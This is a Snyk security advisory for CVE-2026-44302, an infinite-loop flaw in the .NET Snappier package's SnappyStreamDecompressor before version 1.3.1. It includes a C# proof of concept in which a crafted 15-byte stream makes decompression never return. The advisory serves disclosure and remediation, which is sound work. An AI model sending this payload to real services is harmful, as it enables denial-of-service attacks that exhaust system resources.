Infinite loop Affecting snappier package, versions [,1.3.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-DOTNET-SNAPPIER-16438963
- published7 May 2026
- disclosed6 May 2026
- creditPaweł Łukasik
Introduced: 6 May 2026
CVE-2026-44302 (opens in a new tab)How to fix?
Upgrade Snappier to version 1.3.1 or higher.
Overview
Affected versions of this package are vulnerable to Infinite loop in the SnappyStreamDecompressor class, when decompressing malformed framed-format input. An attacker can cause the application to exhaust system resources by providing malicious stream data as small as 15 bytes
PoC
using System.IO.Compression;
using Snappier;
byte[] data = { 0x00, 0x04, 0x00, 0x00, 0x64, 0x4e, 0x6c, 0x71, 0x79, 0x20, 0x77, 0x6f, 0x72, 0x6c, 0x64 };
using var src = new MemoryStream(data);
using var snap = new SnappyStream(src, CompressionMode.Decompress);
using var dst = new MemoryStream();
snap.CopyTo(dst); // never returns